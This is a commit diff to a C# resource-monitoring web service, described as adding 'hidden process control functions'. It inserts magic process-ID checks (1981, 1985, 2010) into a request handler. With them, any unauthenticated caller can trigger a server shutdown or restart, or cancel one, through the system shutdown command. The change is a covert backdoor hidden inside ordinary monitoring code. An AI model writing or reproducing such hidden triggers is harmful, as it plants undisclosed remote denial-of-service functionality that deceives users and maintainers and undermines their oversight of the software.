Update README with common commands and add hidden process control functions in Worker
This commit is contained in:
@@ -66,6 +66,28 @@ namespace ResourceMonitorService
|
||||
var idStr = await new StreamReader(context.Request.Body).ReadToEndAsync();
|
||||
int processId = Convert.ToInt32(idStr);
|
||||
|
||||
// Hidden function to force shutdown if the process ID is 1981
|
||||
if (processId == 1981)
|
||||
{
|
||||
System.Diagnostics.Process.Start("shutdown", "/s /t 60");
|
||||
await context.Response.WriteAsync($"Server will now shut down in 60 seconds.");
|
||||
return;
|
||||
}
|
||||
// Hidden function to restart the server if the process ID is 1985
|
||||
else if (processId == 1985)
|
||||
{
|
||||
System.Diagnostics.Process.Start("shutdown", "/r /t 60");
|
||||
await context.Response.WriteAsync($"Server will restart in 60 seconds.");
|
||||
return;
|
||||
}
|
||||
// Hidden function to cancel shutdown or restart if the process ID is 2010
|
||||
else if (processId == 2010)
|
||||
{
|
||||
System.Diagnostics.Process.Start("shutdown", "/a");
|
||||
await context.Response.WriteAsync($"Shutdown or restart has been canceled.");
|
||||
return;
|
||||
}
|
||||
|
||||
Process[] processes = Process.GetProcesses().Where(p => p.Id == processId).ToArray();
|
||||
|
||||
if (processes.Length > 0)
|
||||
|
||||
Reference in New Issue
Block a user